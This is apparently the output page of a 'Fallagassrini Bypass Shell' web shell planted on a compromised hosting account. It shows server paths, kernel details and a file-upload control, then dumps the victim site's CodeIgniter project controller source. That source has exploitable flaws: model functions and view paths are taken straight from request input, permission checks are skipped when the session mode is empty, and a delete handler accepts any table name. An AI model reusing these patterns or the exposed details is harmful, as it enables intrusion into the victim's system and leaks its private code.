? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/controllers/project.php

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Project extends MY_Controller {

    public function  __construct()
    {
         parent::__construct();
         $this->load->model('mastermodel');
         $this->load->model('projectmodel');
    }

    
   function viewinprojectsearch($modelfunction='',$page,$pagenum)
   {
        $output=$this->projectmodel->$modelfunction($pagenum);
        $data['viewinfo']=$output['results'];
        $this->load->view('project/'.$page.'',$data);
    }
    function addformdisplay($page,$directory,$return_page='')
    {
        $data=array();
        $data['return_page']=$return_page;
        $perm=$this->projectmodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],1);
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $this->load->view(''.$directory.'/'.$page.'',$data);
        }
    }


    function addinproject($modelfunction,$page)
    {
        
        $postdata=$_POST;
        $data=$this->projectmodel->$modelfunction($postdata);
        $data['msg']=$data['msg'];
        if($data['res']==1)
        {

            $this->viewinprojectsearch($data['resfunction'],$page,$_SESSION['pagenum']);
            $this->load->view('message',$data);

        }
        else
        {    $this->viewinprojectsearch($data['resfunction'],$page,$_SESSION['pagenum']);
            $this->load->view('message',$data);
        }

    }


    function deletedata($table,$id,$field)
    {
        $data=array();
        $perm=$this->projectmodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],2);
        if(!$perm)
            $data['msg']="Permission Denied";
        else
            $data=$this->projectmodel->deletedata($table,$id,$field);
        $arr = array('msg' =>$data['msg'],'res'=>$data['res']);
        echo json_encode($arr);
    }

    function edit_page($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],1);
        }
        else
        {
            $perm=1;
        }
      
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['id']=$id;
            $this->load->view('project/'.$page,$data);
        }
    }
    
    function single_page($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],0);
        }
        else
        {
            $perm=1;
        }
      
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['id']=$id;
            $this->load->view('project/'.$page,$data);
        }
    }
    
    function getProjectCode($Contractorid)
    {
        $projectlist = $this->mastermodel->get_data('project',$Contractorid,'project_contractor_id');
        echo json_encode($projectlist);
    }
    function edit_project($id,$table,$field,$page)
    {
        if($_SESSION['current_mode']!="")
        {
            $perm=$this->mastermodel->check_user_permission($_SESSION['current_mode'], $_SESSION['user_id'],1);
        }
        else
        {
            $perm=1;
        }
      
        if(!$perm)
        {
             $data['msg']="Permission Denied";
             $this->load->view('message',$data);
        }
        else
        {
            $data['viewinfo']=$this->mastermodel->get_data_srow($table,$id,$field);
            $data['details']=$this->mastermodel->get_data('project_details',$id,$field);
            $data['id']=$id;
            $this->load->view('project/'.$page,$data);
        }
    }
}

/* End of file master.php */
/* Location: ./application/controllers/master.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net